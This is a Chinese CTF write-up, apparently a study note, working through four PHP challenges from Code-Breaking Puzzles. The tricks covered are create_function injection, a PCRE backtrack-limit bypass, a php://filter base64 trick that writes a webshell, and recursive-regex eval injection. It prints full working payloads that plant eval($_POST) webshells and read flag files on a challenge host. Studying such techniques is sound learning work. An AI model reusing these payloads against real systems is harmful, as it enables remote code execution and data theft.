尼玛一道题做不动,回炉重造,看完师傅们的WP,学习记录。
0x01 easy - function
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
这里直接蒙蔽了,不知道不用字母数字以及下划线的情况下如何调用函数,思路走偏了,其实看到 ^$
应该想到 fuzz 一下开头和结尾的特殊字符的,正确的解法是在函数前面/
,/function
。P牛在小密圈给出的解释是:
code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?奇技淫巧 其实简单的不行,php里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
接下来需要找到某个函数第二个参数可控时可以利用的。函数create_function()
非常合适,这里做一下记录create_function()代码注入
string create_function ( string $args , string $code )
string $args 变量部分
string $code 方法代码部分
例如:
create_function('$fname','echo $fname."Zhang"')
function fT($fname) {
echo $fname."Zhang";
}
有问题的代码
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
$f1 = create_function('$a',$str2);
?>
执行函数为:
#源代码:
function fT($a) {
echo "test".$a;
}
注入后代码:
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}
最终 payload 为 http://51.158.75.42:8087/?action=%5ccreate_function&arg=}eval($_POST['cmd']);//
0x02 easy - pcrewaf
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
这道题真的非常有意思,看完 P 牛的文章 PHP利用PCRE回溯次数限制绕过某些安全限制 真的感觉学到了很多,在此记录。单独抠出来试一试。
<?php
function is_php($data){//test.php
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
var_dump(is_php($_POST['data']));
?>
import requests
payload = ""
data = {"data":payload}
print(requests.post(url="http://127.0.0.1/test.php",data=data).text)
当 payload
为 "<?php echo 1;//"+"a"*1
时,返回为 int(1)
当 payload
为 "<?php echo 1;//"+"a"*1000000
时,返回为 bool(false)
,成功 bypass。
现在来详细的学一下回溯的问题。在php的pcre扩展中,提供了两个设置项
pcre.backtrack_limit //最大回溯数
pcre.recursion_limit //最大嵌套数
成功 bypassis_php
的检测,就是就和设置项backtrack_limit
有关系,首先得搞清楚什么是回朔,举两个例子(贪婪匹配 与 非贪婪匹配):
源字符串: baaa
正则表达式: /.*b.*/
首先.\*
取得控制权,因为是贪婪匹配直接匹配到末尾(baaa)
,但是显示是不对的,后面还有个b
没有匹配到,所以开始回溯,向前一位(baa)
,再和后面的b
匹配,仍无法匹配到,继续回溯,向前一位(ba)
,直到匹配到b
,共产生了 3 次回溯。
源字符串: aaab
正则表达式: /.*?b/
首先 .\*\?
取得控制权,因为是非贪婪匹配,所以先把控制权给 b
,b
明显是匹配不上的(aaab)
,所以开始回溯把匹配权给.\*\?
, .\*\?
匹配一个 a
后继续把控制权让给b
,此时b
仍然匹配不上(aab)
,继续回溯....... 共产生了 3 次回溯。
默认的backtrack_limit
是100000
,如果 回溯次数如果大于 backtrack_limit
则会匹配失败,停止回溯返回 false
,所以如果用 preg_match
对字符串进行匹配,一定要使用 ===
全等号来判断返回值。题目最终 payload
如下
import requests
files = {"file":"<?php eval($_POST['rabbit']);//"+"a"*1000000}
r = requests.post(url="http://51.158.75.42:8088/",files=files)
print(r.url)
# /var/www/flag_php7_2_1s_c0rrect flag{216728a834fb4c1e0bc6893e135f436e}
0x03 easy - phpmagic
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
<title>Domain Detail</title>
<style>
pre {
width: 100%;
background-color: #f6f8fa;
border-radius: 3px;
font-size: 85%;
line-height: 1.45;
overflow: auto;
padding: 16px;
border: 1px solid #ced4da;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col">
<form method="post">
<div class="input-group mt-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">dig -t A -q</span>
</div>
<input type="text" name="domain" class="form-control" placeholder="Your domain">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="submit">执行</button>
</div>
</div>
</form>
</div>
</div>
<div class="row">
<div class="col">
<pre class="mt-3"><?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?></pre>
</div>
</div>
</div>
</body>
</html>
$log_name
、$output
均可控,但 $output
经过了 htmlspecialchars()
的消毒。这里以前再小密圈里看到过绕过技巧,印象深刻。
这里可以通过为协议来进行绕过,$log_name = php://filter/write=convert.base64-decode/resource=shell.php,$domain=base64encode(code)
这里还需要注意一下 base64 算法解码时的问题,位数需要为4的整数倍,并且因为我们是插入到中间,所以后面不能有==
。
当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。
最后还有一个 pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)
验证,只需要再后面加 /.
即可,这样pathinfo()
取不到后缀,而 file_put_contents()
写入的时候又会递归删除 /.
。综上,最后的 payload 如下:
import requests
headers ={"host":"p"}
data = {"domain":"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg","log":"hp://filter/write=convert.base64-decode/resource=cc.php/."}
r = requests.post(url="http://51.158.75.42:8082/index.php",data=data,headers=headers)
print(r.text)
#flag{8fd9046cde2d53d1ceea8970286fd38c}
0x04 easy - phplimit
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
/[^\W]+\((?R)?\)/
这是一个递归匹配,具体参考这里 PHP正则之递归匹配。匹配类似function(function(function()))
,先看一下 phpinfo() 的信息 http://51.158.75.42:8084/?code=phpinfo();
PHP Version 5.6.38
,找一下这个版本有没有相应的函数可以利用。可以使用 get_defined_vars()
获取外部传如的变量
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
然后用操作数组元素的几个函数来选择传入的值
current() - 返回数组中的当前元素的值
end() - 将内部指针指向数组中的最后一个元素,并输出
next() - 将内部指针指向数组中的下一个元素,并输出
prev() - 将内部指针指向数组中的上一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
payload
: http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=phpinfo();
http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=print(file_get_contents(%27/var/www/flag_phpbyp4ss%27));
参考:
网友评论